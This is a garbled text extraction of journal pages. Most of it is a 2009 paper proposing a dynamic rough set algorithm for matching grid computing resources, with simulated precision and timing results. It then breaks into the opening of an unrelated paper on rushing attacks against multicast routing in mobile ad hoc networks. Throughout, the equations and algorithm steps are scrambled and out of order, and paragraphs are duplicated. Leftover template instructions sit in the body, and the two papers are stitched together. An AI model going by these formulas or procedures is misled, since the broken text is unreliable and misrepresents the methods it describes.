[14] and rough set based matchmaking algorithm [18], and finally part V is the conclusion and future works. II.
properties in matching resources. In [18] we have proposed a rough set based algorithm to deal with uncertainty and vagueness. In this paper, our algorithm works in two steps. The First step is dependent properties reduction which removes dependent properties. The Second step is matchmaking which matches and ranks resources according to requested resource. III.
CLASSICAL ROUGH SET THEORY
Rough set theory which is proposed by Pawlak, in 1982, has been proved to be a good mathematical tool to describe and model uncertainty and imprecision. It has been widely applied in artificial intelligent, pattern recognition, data mining, fault diagnostics etc [19]. There are many advantages of rough sets theory; for example, no preliminary or additional information is needed and only the facts in the data are considered. Fig. 1 [18] shows that rough set is based on the concept of an upper and a lower approximation of a set. For a given set X the yellow grids represent its upper approximation of set X, and the green grids represent the lower approximation of set X and the black line represents the boundary region of set X. Let: • • •
•
U: a set of N registered resources, U= {u1, u2, …, uN }, N ≥1. P: a set of M properties used to describe the N registered resources of the set U, P = {p1, p2, …, pM} , M≥2. Q: a set of M registered resource properties relevant to a resource request R in terms of resource ontology whose irrelevant properties have been removed, Q = {q1, q2, …, qK} , K≥1, and Q is a subset of P. R: a set of L requested resource properties with their weights, R={(r1,w1), (r2,w2), …, (rL,wL)}, L ≥ 1.
RELATED WORKS
While the grid environment moves towards a service-oriented computing infrastructure, service discovery is becoming a vital part of this environment. One of the earliest methods for service publication and discovery is UDDI which only supports keyword matches and does not support any semantic service. DAML-S is the earliest to add semantic information for discovering web services [15]. DAML-S offers enough semantic information expressing Web service capacity and character with ontological description of web services. In past few years, a great amount of studies have been carried out on the basis of OWL-S, such as semantic expression service bundling [16], ontology-based service matching [16], OWL-S and UDDI combination [14]. In the [17] a metric is proposed to measure the similarity of semantic services annotated with OWL ontology. Similarity is calculated by defining the intrinsic information value of a service description based on the inferencibility of each of OWL constructs. All the above methods do not support uncertainty in properties. Rough set theory is used for dealing with vagueness and missing data in large variety of domains. So, compared with the work mentioned above, rough set theory can tolerate uncertain
Figure 1. Approximation in rough set theory
174
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No.1, 2009 According to the rough set theory for a given set X there are: − x X [ ] T ρ (−X ,T ) ( x) = , as x ∈ X (5) (1) Q X = {x [X ]Q ⊆ X } [ x ]T Q X = {x [X ]Q ∩ X ≠ φ}
(2)
ρ (+X ,T ) ( x) = 1 −
In which Q X is the lower approximation and Q X is the
•
∀x ∈ Q X , x definitely is a member of X and definitely
•
has property q. ∀x ∈ Q X , x probably is member of X and probably has property q.
transfer standard of elements of X about T, respectively. Inflated dynamic main set of X is defined as below: M T+ ( X ) = {x x ∈ (~ X ), d T+ ( X ) ≤ ρ (+X ,T ) < 1}.
absolutely does not have property q. The Most important part of rough set theory is attribute reduction. Some attributes are dependent on other attributes in attributes set, so they are not necessary to be considered in matching phase. According to rough set theory we are:
AT+ ( X ) = {x x ∈ (~ X ),0 ≤ ρ (+X ,T ) < d T+ ( X )}.
X T+
(9)
The formulas (5-9) show that we can expand X according to T. we can also contract X according to T. for this reason we have:
(3)
M T− ( X ) = {x x ∈X , d T− ( X ) ≤ ρ (−X ,T ) ( X ) < 1}.
(4)
(10)
M T− ( X )
In which is defined as contracted dynamic set of X about T and also contracted dynamic assistant set is defined as:
In Which C and D are subsets of property set P. as shown in [13], D totally depends on C if α =1 Or D partially (in a degree of α ) depends on C if α < 1 . Since existing works need to find exact match between requested resources and registered resources, it is difficult to find exact matching. So by using rough set theory, the need of exact match has been removed. IV.
(8)
is called inflated dynamic set of X about T and defined as: X T+ = X Υ M T+ ( X ).
X ∈U / D
U
(7)
And inflated dynamic assistant set is defined as:
∀x ∈ U − X , x absolutely is not a member of X and
CX
(6)
dT+ ( X ) ∈ [0,1] are outward transfer standard and inward
So for a property q ∈ Q , we can say that:
α = γ (C , D) =
, as x ∈ ~ X
called inward transfer coefficient of element x about T. In real computation, outward and inward transfer coefficients are been choose as constant amounts. In fact d T− ( X ) ∈ [0,1] and
X ⊆U Q⊆P
ΥC X
[ x ]T
ρ (−X ,T ) ( x) is called outward transfer coefficient and ρ (+X ,T ) ( x) is
upper approximation of X in terms of properties set Q. X is a subset of U and Q is a sub set of P.
POS C ( D) =
[ x ]T − X
AT− ( X ) = {x x ∈X ,0 ≤ ρ (−X ,T ) ( X ) < d T− ( X )}.
(11)
And X T− called contracted dynamic set is defined as: X T− = X − M T− .
DYNAMIC ROUGH SET THEORY
(12)
According to the above mentioned, we can expand and contract X according to T. Suppose we have T and T ′ ⊆ P , two direction dynamic set of X according to the T and T ′ is defined:
Although rough set theory is being used in various ranges of research such as data mining, pattern recognition, decision making and expert system, it is suitable for static knowledge and data. In fact, in a classical rough set theory, subset X of universal set U is a static set without considering the dynamic features it can have. In the real word, most information systems have dynamic features so that the rate of participant and disappearance of entities in these systems is high. Whereas Pawlak’s rough set theory can only deal with static information system, using a dynamic method to deal with uncertainty and process information system will have more efficiency. By using dynamic rough set theory, considering dynamic features of an information system will be possible. Dynamic rough set theory uses outward and inward transfer parameters to expand or contract X set in classical rough set. According to [20], dynamic rough set theory has been defined as follows: Suppose A= (U, P) is an information system, T ⊆ P and
X (*T ,T ′) = ( X − M T− ( X )) Υ M T+ ( X ).
(13)
Suppose Q ⊆ P , we can compute upper and lower approximation of X (*T ,T ′) using equations (1, 2) so that we have: Q(*T ,T ′) ( X ) = {x x ∈ U , [ x]Q ⊆ X (*T ,T ′) }.
(14)
Q(*T ,T ′) ( X ) = {x x ∈ U , [ x]Q Ι X (*T ,T ′) }
(15)
Q(*T ,T ′) ( X ) and Q(*T ,T ′) ( X ) are called two direction transfer D-
lower approximation set and two direction transfer D-upper approximation set of X, respectively. In fact according to M T+ ( X ) we should increase resources (X) which can have opportunity of selection according to the attributes set T, but M T−′ ( X ) indicates according to the attributes set T ′ we should decrease X.
X ⊆ U . For any x ∈ U , we have:
175
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No.1, 2009
[10]. The resource ontology template, as shown in Fig. 3 [23], has been created by considering the most possible computing resources in the Grid. The concept of these resources has been defined properly using relations and properties so that the characteristics of any resource can be defined by their properties. For using the ontology template in the GridSim, which is a java base simulator, we have used the protégéOWL API, which is a java base API, in order to create and modify Ontology dynamically. In this section we will describe the candidate optimization component and matchmaking component. For describing resource properties, we have used a resource ontology template based on the Karlsruhe ontology model [10]. The resource ontology template, as shown in Fig. 3 [23], has been created by considering the most possible computing resources in the Grid. The concept of these resources has been defined properly using relations and properties so that the characteristics of any resource can be defined by their properties. For using the ontology template in the GridSim, which is a java base simulator, we have used the protégéOWL API, which is a java base API, in order to create and modify Ontology dynamically. In this section we will describe the candidate optimization component and matchmaking component.
Q(*T ,T ′) ( X ) indicates the objects of the optimization of the
candidate set which can be considered as a candidate set for matchmaking process. So in the matchmaking phase we only need to search D-lower approximation set ( Q(*T ,T ′) ( X ) ) in order to select resources which satisfy requested service. In this work, we can also determine the priority of each requested service property, so that if properties T have an important role, their priority factor is high, we can decrease d T+
and this means that we expand candidate set X according to the properties set T. when T ′ plays a less important role, priority of properties is low, we can decrease contract the candidate set. V.
d T−′
in order to
RESOURCE DISCOVERY
GridSim simulator has been used in order to simulate Dynamic Rough Set Resource Discovery Algorithm (DRSRD). As shown in Fig. 2, user sends a service request to the GridSim’s Broker, Broker forwards the request to the GIS which can access Advertised Resource Repository and Ontology template in order to get resources which satisfy requested service. GIS has two components in order to find resources satisfying requested service. First component is Candidates Optimization which uses dynamic rough set theory in order to determine the optimum set of candidate resources. User defines a priority factor called Wi for each of the requested service properties in order to determine their priority. Candidate optimization component determines candidate resources set according to the priority of requested service properties.
Figure 3. Ontology template
According to the method proposed in [14] there are four relations between pR and pA , in which pR and pA are respectively a property for the resource request and a property for the registered resource. These four relations are as follow: • Exact match, pR and pA are equivalent or pR is a subclass of pA. • Plug in match, pA subsumes pR. • Subsume match, pR subsumes pA. • No match, no subsumption between pR and pA. Each property in the advertised resources properties set will be compared to all of the properties in the resource request properties set. Each property in the advertised resources that has no match relationship with any of properties in the resource request will be treated as an irrelevant property and
Figure 2. Algorithm outline
The Second component is the Matchmaking component which does the matchmaking algorithm on the candidate resources set obtained from the candidates optimization component. For describing resource properties, we have used a resource ontology template based on the Karlsruhe ontology model
176
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No.1, 2009
Candidates Optimization algorithm is shown in the Fig. 3. Algorithm uses three steps to compute candidates optimized set.
must be marked up. This step must be repeated until all the properties in the registered resources have been checked. The marked up properties should not be used in the Candidates Optimization Component. After the reduction of irrelevant properties, the remained properties will be sent to the Candidates Optimization Component entity to optimize candidates set.
Input: requested …,(rL,wL)}.
properties
set
R={(r1,w1),
(r2,w2),
Input: candidates set X. Output: candidates optimized set. I: Inflated dynamic main set of X about T .
A. Candidates Optimization The Most important aim of dynamic rough set theory is to deal with the vagueness and uncertainty in a knowledge system which changes dynamically. For a system such as the Grid whose resources can join or leave the system randomly, using dynamic rough set theory is more efficient than classical rough set theory.
C: contracted dynamic set of X about
X*
T
: Two direction dynamic set of X according to the
and T ′ .
X*
: Lower approximation of resource properties R.
User sends its service request to the Broker. In this request, each one of the requested service properties has a weight Wi. Broker forwards this request to the Grid Information Service (GIS) in order to find the best resources which satisfy the requested service. After getting the request by GIS, it classifies the requested properties according to their weight. According to part III, the set R is the requested resource properties and the properties set T, which T ⊆ R , is defined as bellow:
T′ .
X*
according to requested
Step 1:
d T+ ( X )
Compute
and
d T−′ ( X ) .
Step 2:
x ∈~ X
For all
ρ (+X ,T ) ( x) ≥ d T+ ( X )
If
T = {(ri , wi ) ( ri , wi ) ∈ R and wi ≥ 0.5}, 1 ≤ i ≤ L1.
Add x to the I.
In fact the set T contains properties with priority factor (weight) more than 0.5.
End for.
As mentioned in part IV the candidate set can be expanded according to the properties set T. According to the weight of requested service properties, we define the inward transfer + standard d T ( X ) as follows:
x∈ X
For all If
ρ (−X ,T ′) ( x) ≥ d T−′ ( X ) Add x to the C.
End for.
L1
∑ wi
d T+ ( X ) = i =1 T
Step 3:
, which (t i , wi ) ∈ T
(16).
X * = ( X − C) Υ I Step 4:
The properties set T ′ , in which T ′ ⊆ R , are defined as a set of properties the weight of which is less than 0.5. So T ′ is defined as:
Return
.
Step 1 calculates d T+ (X ) and d T−′ ( X ) using the equations (16) and (17) respectively. In step 2, the inflated dynamic main set of X and contracted dynamic main set of X using equations (7) and (10) respectively.
L2
∑ wi , which (t i , wi ) ∈ T ′
X*
according to the R.
Figure 4. Candidates Optimization algorithm
The outward transfer standard d T−′ (X ) is defined as bellow:
T′
X*
Compute
T ′ = {( ri , wi ) (ri , wi ) ∈ R and wi < 0.5}, 1 ≤ i ≤ L 2.
d T−′ ( X ) = i =1
.
(17).
Step 3 calculates two direction dynamic set of X according Candidates set X can be expanded according to the properties set T which has properties with higher priority and can be contracted according to the properties set T ′ the properties of which have lower priority. In Step 4, by using equation (14), the lower approximation set
to T and T ′ using equation (13).
The candidates set X is defined as a set of resources with maximum non empty properties according to the requested resource properties. And ~X is defined as all resources in the universal set U which are not contained in the X. Identify applicable sponsor/s here. (sponsors)
177
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No.1, 2009 X*
According to this algorithm, matched resources can be ranked according to their match degree. Ranking process is done according to the priority of properties.
of X * is calculated according to the requested resource
properties set R. In fact, X * is the set of resources that are most likely to be selected as the matched resources.
For each q j ∈ Q && V (q j ) ≠ null
B. Resource Matchmaking
For each ri ∈ R
After optimization of the candidates set we should only apply the matchmaking algorithm on the optimized candidates set. Reduction of the candidates set causes the reduction of searching time.
If type of both q j && ri is string If q j is an exact match with ri
m(q j , ri ) = 1.0.
We design the matching resource algorithm according to the rules proposed in [14] and in regarding to the ontology template.
Else if
We define m(ri, qj) as the match degree of the requested resource property ri and the advertised resource property qj. In this algorithm properties are divided in the two classes. The first class is properties with String type. For this class of properties if qj is an exact match with ri the match degree is 1.0. But if qj is a plug in match with ri with a match generation of d: ⎧⎪m(q j , ri ) = 1 − ((d − 1) × 0.1) ⎨ ⎪⎩m(q j , ri ) = 0.5
If 2 ≤ d ≤ 5
m(q j , ri ) = 1 − (d − 1) × 0.1. Else if d>5
m(q j , ri ) = 0.5.
2≤d≤5
Else if q j is an subsume match with ri
d>5
If q j is dth subclass of ri
For the case of the subsume match if qj is a subsume match with ri with the match generation of d: ⎧⎪m(q j , ri ) = 0.8 − ((d − 1) × 0.1) ⎨ ⎪⎩m(q j , ri ) = 0.5
q j is an plug in match with ri and match
degree d
If 1≤d≤3
1≤ d ≤ 3
m(q j , ri ) = 0.8 − (d − 1) × 0.1.
d>3
Else if d >3
An advertised property with empty value is regarded as null property. For any null property qj the match degree is 0.5.
m(q j , ri ) = 0.5. Else if type of both
The second class is properties set with Non string type. This class contains properties with type integer, long integer and double. For this class if type of both properties is equal, match degree is defined by: ⎧⎪m(q j , ri ) = 1− (V (q j ) /V (ri ) ×0.1) ⎨ ⎪⎩m(q j , ri ) = 0.5
q j && ri is not string and is
equal If
V (q j ) / V (ri ) ≤ 5 m(q j , ri ) = 1 − (V (q j )
V (q j ) /V (ri ) ≤ 5
V (ri ) * 0.1) .
Else
V (q j ) /V (ri ) > 5
m(q j , ri ) = 0.5.
In which V(qj) is the value of attribute qj. End for
Fig. 5 shows conditions for calculating the match degree.
End for
For calculating the match between the requested resource and the advertised resource we have used the equation (18) which calculates the maximum match degree between the requested resource and the advertised resource.
For each q j ∈ Q && V (q j ) = null For each qi ∈ Q
m(q j , ri ) = 0.5. L
K
M (RR , RA ) = ∑(∑MAX(m(q j , ri )) × wi ) i =1
j =1
L
∑w i =1
End for
(18).
End for
i
Figure 5. match degree algorithm
In the formula (18), the symbols RR and RA are the requested resource and the advertised resource respectively.
According to this algorithm, matched resources can be ranked according to their match degree. Ranking process is done according to the priority of properties.
178
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No.1, 2009
VI.
EXPERIMENTAL RESULTS
In order to simulate algorithm we run the GridSim that is a grid java based simulator. We have also used db4o [22] data base as a repository for advertised resources. We have created ontology of possible resources using protégé API [10], which is a java based API, for semantic description of resources. The structure of the ontology of resources is motivated by the need to provide information about resources. The resource ontology proposed in this paper takes most of computing resources into account. This ontology template has been created according to the basis of Karlsruhe Ontology model [23].
A. Precision evaluation As mentioned above we test our algorithm with 4 groups of advertised resources. The First group has only 30% properties certainty. The Second group has 50% property certainty and the third group has 80% property certainty and the fourth group has 100% property certainty. Fig. 7 to Fig. 13 show the comparison of the precision for different numbers of the resources. Precision is defined as the ratio of the number of correct retrieved resources rather than all the retrieved resources. According to matching algorithm proposed in [14], UDDI and OWL-S matching algorithm can not deal with uncertainty.
In order to test our algorithm we simulated 10000 resources which are semantically defined according to the ontology template shown in Fig. 3. Each resource register itself at the database as soon as joined the grid by sending its features which are defined according to the ontology template. For designing Query generator we created users which send resource requests with deferent requested resource property. Requested resource properties are defined according to the ontology template.
precision
rough set based algorithm
As shown in Fig. 6, user sends its resource request to the GridSim’s broker. Broker forwards this resource request to the Grid Information Server (GIS). The GIS uses ontology and accesses the database in order to find advertised resources relevant to the requested resource. Retrieved resources ID along with its match degree are sent back to the user.
UDDI and OWL-S
DRSRD
100% 80% 60% 40% 20% 0% 30%
50%
80%
100%
properties certainty rate
Figure 7. comparison of precision for 500 resources
rough set based algorithm
UDDI and OWL-S
DRSRD
precision
100% 80% 60% 40% 20% 0% 30%
50%
80%
100%
properties certainty rate
Figure 8. comparison of precision for 1000 resources
rough set based algorithm
UDDI and OWL-S
DRSRD
100%
precision
80%
Figure 6. GridSim Architecture
60% 40% 20% 0% 30%
We have tested our algorithm with resource property certainty of 30%, 50%, 80%, and 100% and for each of these states we have run simulator with deferent number of advertised resources. We have used average results of 100 times run of each case for comparison.
50%
80%
100%
properties certainty rate
Figure 9. comparison of precision for 2000 resources
For evaluating precision and matching time of our algorithm we compared this algorithm with the algorithm proposed in [14] which is a combination of UDDI and OWL-S and rough set based algorithm proposed in our previous work [18].
179
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No.1, 2009 rough set based algorithm
UDDI and OWL-S
Also the precision of DRSRD is more than rough set based algorithm. This is because of the dynamic features of the Grid environment. Whereas classic rough set theory can not deal with dynamic features, rough set based algorithm has low precision. By increasing the certainty, deference between UDDI and OWL-S combined algorithm and DRSRD algorithm is being decreased so that with 100% certainty the precision of both of two algorithms reaches 100%. But for different rates of certainty, DRSRD is more precise than rough set based algorithm. It is clear that DRSRD has a good effect on dealing with vagueness and dynamic features of grid.
DRSRD
100%
precision
80% 60% 40% 20% 0% 30%
50%
80%
100%
properties certainty rate
Figure 10. comparison of precision for 4000 resources rough set based algorithm rough set based algorithm
UDDI and OWL-S
DRSRD
100%
DRSRD
precision
80%
80%
precision
UDDI and OWL-S
100%
60% 40% 20%
60% 40% 20% 0%
0% 30%
50%
80%
500
100%
1000
properties certainty rate
2000 4000 6000 num ber of resources
8000
10000
Figure 14. Precision increment for 30% certainty rate Figure 11. comparison of precision for 6000 resources rough set based algorithm rough set based algorithm
UDDI and OWL-S
DRSRD
100%
100%
80%
80%
precision
precision
UDDI and OWL-S
DRSRD
60% 40% 20% 0%
60% 40% 20%
30%
50%
80%
100%
0%
properties certainty rate
500
1000
2000 4000 6000 num ber of resources
8000
10000
Figure 12. comparison of precision for 8000 resources Figure 15. Precision increment for 50% certainty rate rough set based algorithm
UDDI and OWL-S
DRSRD
precision
100% 80%
rough set based algorithm
UDDI and OWL-S
DRSRD
60% 40%
100%
20%
80% 30%
50%
80%
precision
0% 100%
properties certainty rate
60% 40% 20% 0%
Figure 13. comparison of precision for 10000 resources
500
As shown in the above figures, the precision of the combination of UDDI and OWL-S is lower than Dynamic Rough Set Resource discovery (DRSRD) algorithm for 30%, 50%, and 80% of service property certainty. This is because of disability of UDDI and OWL-S in dealing with uncertainty.
1000
2000 4000 6000 num ber of resources
8000
10000
Figure 16. Precision increment for 80% certainty rate
180
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No.1, 2009
VII. CONCLUSION AND FUTURE WORK rough set based algorithm
UDDI and OWL-S
DRSRD
In this paper we have shown dynamic rough set based algorithm has a good effect in dealing with uncertainty and vagueness for resource matching in a dynamic environment such as grid. Using classic rough set theory in order to deal with vagueness is effective but it is only for static data. Whereas grid is a dynamic environment and features of resources change dynamically, we need to use a dynamic method to deal with vagueness, so we have used dynamic rough set theory. DRSRD algorithm can deal with uncertain properties and find a set of resource which may maximally satisfy the needs of requested resource. In fact, our algorithm can find a list of resources which have high degree of matching according to the weight of requested properties. Experimental results have shown that the DRSRD algorithm is more effective in resource matching than rough set based algorithm and UDDI and OWL-S combined algorithm. Algorithm time for our algorithm is lower than rough set based algorithm. It is also lower than UDDI and OWL-S algorithm for resources number less than 9000 resources.
100%
precision
80% 60% 40% 20% 0% 500
1000
2000 4000 6000 num ber of resources
8000
10000
Figure 17. Precision increment for 100% certainty rate
Fig. 14 to Fig. 17 show the increment of precision according to the increment of the number of the resources for 30%, 50%, 80%, and 100% certainty rate, respectively. Along with the increase of the number of resources, precision also increases. It is because of the increasing of the survey population. Define abbreviations and acronyms the first time they are used in the text, even after they have been defined in the abstract. Abbreviations such as IEEE, SI, MKS, CGS, sc, dc, and rms do not have to be defined. Do not use abbreviations in the title or heads unless they are unavoidable.
REFERENCES [1] [2] [3] [4]
B. Matching time evaluation For evaluating matching time we run our simulator 100 times with different amount of advertised resources. We have compared DRSRD algorithm with rough set based algorithm and UDDI and OWL-S combined model to evaluate the matching time of our algorithm.
[5]
[6] rough set based algorithm
UDDI and OWL-S
DRSR
25000
[7]
matching time (ms)
20000 15000
[8] 10000
[9] 5000 0
[10] [11]
number of resources
Figure 18. Comparison of the matching time
[12]
Fig. 18 shows that the matching time of DRSRD algorithm is lower than UDDI and OWL-S when the number of advertised resources is under 9000. By increasing the number of advertised resources UDDI and OWL-S combined model is more effective because its matching time depends on number of properties rather than number of advertised resources. It is also clear that DRSRD has lower matching time rather than rough set based algorithm.
[13] [14]
[15]
181
M. Li and M.A.Baker, the Grid Core Technologies, Wiley, 2005. Open Grid Services Architecture (OGSA), http://www.globus.org/ogsa. Global Grid Forum (GGF), http://www.ggf.org Dong Ya Li, Bao Qing Hu, A Kind of Dynamic Rough Sets, fskd,pp.7985, Fourth International Conference on Fuzzy Systems and Knowledge Discovery (FSKD 2007) Vol.3, 2007. Keqiu Li, Deqin Yan, Wenyu Qu, Modifications to Bayesian Rough Set Model and Rough Vague Sets, apscc,pp.544-549, The 2nd IEEE AsiaPacific Service Computing Conference (APSCC 2007), 2007. Tian Qiu, Lei Li, Pin Lin, Web Service Discovery with UDDI Based on Semantic Similarity of Service Properties, skg,pp.454-457, Third International Conference on Semantics, Knowledge and Grid (SKG 2007), 2007. Yue Kou, Ge Yu, Derong Shen, Dong Li, Tiezheng Nie: PS-GIS: personalized and semantics-based grid information services. Infoscale 2007. BursteinM, Lassila. DAML-S semantic markup for Web services In Proc.of the International Semantic Web Workshop, 2001. D. Martin, M. Burstein, J. Hobbs, O. Lassila, D. McDermott, S. McIlraith, S. Narayanan, M. Paolucci, B. Parsia, T. Payne, E. Sirin, N. Srinivasan, and K. Sycara, “OWL-S: Semantic Markup for Web Services”, http://www.w3.org/Submission/2004/SUBM-OWL-S 20041122/, 2004. Protégé, http://www. protege.stanford.edu/plugins/owl/. S. Bechhofer, F. Harmelen, J. Hendler, I. Horrocks, D. McGuinness, P. F. Patel-Schneider, and L. A. Stein. OWL Web Ontology Languag Reference. W3C Recommendation, Feb. 2004. S. Miles, J. Papay, V. Dialani, M. Luck, K. Decker, T. Payne, and L. Moreau. Personalised Grid Service Discovery. IEE Proceedings Software: Special Issue on Performance Engineering, 150(4):252-256, August 2003. J. Komorowski, Z. Pawlak, L. Polkowski, and A. Skowron, Rough Sets: a tutorial, Rough Fuzzy Hybridization, Springer, pp. 3-98, 1999. M. Paolucci, T. Kawamura, T. Payne, and K. Sycara. Semantic matching of web service capabilities. Proceedings of 1st International Semantic Web Conference. (ISWC2002), Berlin, 2002. T. Chen, X. Zhou, N. Xiao, A Semantic-based Grid Service Discovery and Composition, Page(s):527 – 530, Third International Conference on Semantics, Knowledge and Grid, Oct. 2007.
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No.1, 2009 [16] Qi Yong, Qi Saiyu, Zhu Pu, Shen Linfeng, Context-Aware Semantic Web Service Discovery, skg, pp.499-502, Third International Conference on Semantics, Knowledge and Grid (SKG 2007), 2007. [17] Hau, J., W. Lee, and J. Darlington, a Semantic Similarity Measure for Semantic Web Services, in Web Service Semantics Workshop 2005, Japan. [18] I. Ataollahi, M. Analoui(in press), Resource discovery using rough set in Grid environment, 14th International CSI conference (CSICC2009), July 1-2, 2009, Tehran, Iran. [19] E. Xu, Shaocheng Tong, Liangshan Shao, Baiqing Ye. Rough Set Approach for Processing Information Table. In Proceeding of SNPD (3)’2007.pp.239~243. [20] Dong Ya Li , Bao Qing Hu, A Kind of Dynamic Rough Sets, Proceedings of the Fourth International Conference on Fuzzy Systems
and Knowledge Discovery (FSKD 2007) Vol.3, p.79-85, August 24-27, 2007. [21] www.annauniv.edu/care/downloads/SemanticGrid/Presentation/Basic_Pr esentation-cdac_1.ppt. [22] http://www.db4o.com/about/productinformation/resources/db4o-4.5tutorial-java.pdf. [23] http:\\www.aifb.uni-karlsruhe.de/WBS/sst/Research/Publications/KIHeft-KAON-Survey-2003.pdf.
182
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
Impact of Rushing attack on Multicast in Mobile Ad Hoc Network V. PALANISAMY1, P.ANNADURAI2, 1 Reader and Head (i/c), Department of Computer Science & Engineering, Alagappa University, Karaikudi, Tamilnadu ,India Email: [email protected] 2 Lecturer in Computer Science, Kanchi Mamunivar Centre for Post Graduate Studies (Autonomous) , Lawspet, Puducherry, India. Email: [email protected] Abstract— A mobile ad hoc network (MANETs) is a selforganizing system of mobile nodes that communicate with each other via wireless links with no fixed infrastructure or centralized administration such as base station or access points. Nodes in a MANETs operate both as host as well as routers to forward packets for each other in a multi-hop fashion. For many applications in wireless networks, multicasting is an important and frequent communication service. By multicasting, since a single message can be delivered to multiple receivers simultaneously. It greatly reduces the transmission cost when sending the same packet to multiple recipients.
In these applications, communication and collaboration among a given group of nodes are necessary. Instead of using multiple unicast transmissions, it is advantageous to use multicast in order to save network bandwidth and resources, since a single message can be delivered to multiple receivers simultaneously. Existing multicast routing protocols in MANETs can be classified into two categories: tree based and mesh-based. In a multicast routing tree, there is usually only one single path between a sender and a receiver, while in a routing mesh, there may be multiple paths between each sender receiver pair. Routing meshes are thus suitable than routing trees for systems with frequently changing topology such as MANETs due to availability of multiple paths between a source and a destination. Example tree-based multicast routing protocols are MAODV, AMRIS, BEMRP, and ADMR. Typically mesh-based multicast routing protocols are ODMRP, FGMP, CAMP , DCMP , and NSMP [2].
The security issue of MANETs in group communications is even more challenging because of involvement of multiple senders and multiple receivers. At that time of multicasting, mobile ad hoc network are unprotected by the attacks of malicious nodes because of vulnerabilities of routing protocols. Some of the attacks are Rushing attack, Blackhole attack, Sybil attack, Neighbor attack and Jellyfish attack. This paper is based on Rushing attack. In Rushing attack, the attacker exploits the duplicate suppression mechanism by quickly forwarding route discovery packets in order to gain access to the forwarding group and this will affect the Average Attack Success Rate.
Among all the research issues, security is an essential requirement in MANET environments. Compared to wired networks, MANETs are more vulnerable to security attacks due to lack of trusted centralized authority, lack of trust relationships between mobile nodes, easy eavesdropping because of shared wireless medium, dynamic network topology, low bandwidth, and battery and memory constraints of mobile devices. The security issue of MANETs in group communications is even more challenging because of the involvement of multiple senders and multiple receivers. Although several types of security attacks in MANETs have been studied in the literature, the focus of earlier research is on unicast (point to point) applications. The impacts of security attacks on multicast in MANETs have not yet been explored [3].
In this paper, the goal is to measure the impact of Rushing attack and their node positions which affect the performance metrics of Average Attack Success Rate with respect to three scenarios: near sender, near receiver and anywhere within the network. The performance of the Attack Success Rate with respect to above three scenarios is also compared. Index Terms—Multicast, Rushing attack, MANETs, Security, Multicast, attack strategies, Security threats, Attacks on Multicast.
I.
INTRODUCTION
A mobile ad hoc network is a self-organizing system of mobile nodes that communicate with each other via wireless links with no infrastructure or centralized administration such as base stations or access points. Nodes in MANET operate both as hosts as well as routers to forward packets for each other in a multi-hop fashion. MANETSs are suitable for applications in which no infrastructure exists such as military battlefield, emergency rescue, vehicular communications and mining operations.
In this paper, we present a simulation-based study of the effects of Rushing attack on multicast in MANETs. We consider the most common types of attacks, namely rushing attack, blackhole attack, neighbor attack and jellyfish attack.
183
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
Instead of using multiple unicast transmissions, it is advantageous to use multicast in order to save bandwidth and resources. Since a single message can be delivered to multiple receivers simultaneously. Multicast data may still be delivered to the destination on alternative paths even when the route breaks. It is typically used to refer to IP multicast which is often employed for streaming media and At the Data Link Layer, multicast describes one-tomany distribution such as Ethernet multicast addressing, Asynchronous Transfer Mode (ATM) point-to-multipoint virtual circuits or Infiniband multicast. Teleconferencing and videoconferencing also use multicasting, but require more robust protocols and networks. Standards are being developed to support multicasting over a TCP/IP network such as the Internet. These standards, IP Multicast and Mbone, will allow users to easily join multicast groups. [6]
A. Goal The goal of this paper is to impact of rushing attack on mesh-based multicast in MANETs. The rushing attack, that acts as an effective denial-of-service attack against all currently proposed on-demand ad hoc network routing protocols, including protocols that were designed to be secure. [2] In this work, to simulate three scenarios: The attacker node is place at near sender, the attacker node is place at near receiver. The attacker node is place anywhere within the MANETs. Based on above scenarios, to simulate how the Rushing attack affects the network performance. B. Reading Roadmap This paper starts with this section, which gives a brief introduction, and goal of this paper. Section 2 describes preliminaries for multicast attacks in MANETs. The Improved model scheme Impact of Rushing Attack on Multicast in Mobile Ad hoc Networks (IRAMA) is presented in Section 3. In Section 4, we discuss the experimental results and discussion. Finally, conclusions are given in Section 5.
B. Attack against ad hoc network While a wireless network is more versatile than a wired one, it is also more vulnerable to attacks. This is due to the very nature of radio transmissions, which are made on the air. On a wired network, an intruder would need to break into a machine of the network or to physically wiretap a cable. On a wireless network, an adversary is able to eavesdrop on all messages within the emission area, by operating in promiscuous mode and using a packet sniffer (and possibly a directional antenna). Furthermore, due to the limitations of the medium, communications can easily be perturbed; the intruder can perform this attack by keeping the medium busy sending its own messages, or just by jamming communications with noise. [1]
II. MULTICAST AND ITS ATTACKS IN MOBILE AD HOC NETWORK A. Introduction A mobile ad hoc network (MANETs) is a selforganizing system of mobile nodes that communicate with each other via wireless links with no fixed infrastructure or centralized administration such as base station or access points. Nodes in a MANETs operate both as host as well as routers to forward packets for each other in a multi-hop fashion. For many applications in wireless networks, multicasting is an important and frequent communication service. By multicasting, since a single message can be delivered to multiple receivers simultaneously. It greatly reduces the transmission cost when sending the same packet to multiple recipients [4, 5].
Security has become a primary concern to provide protected communication between mobile nodes in a hostile environment. Unlike wireline networks, the unique characteristics of mobile ad hoc networks pose a number of non-trivial challenges to the security design. Providing security support for mobile ad-hoc networks is challenging for several reasons: (a) wireless networks are susceptible to attacks ranging from passive eavesdropping to active interfering, occasional break-ins by adversaries (b) mobile users demand ―anywhere, anytime‖ services; (c) a scalable solution is needed for a large-scale mobile network (d) Dynamic topology (e) infrastructure less (f) Peer –to-peer network (g) Lack of centralized authority [17].
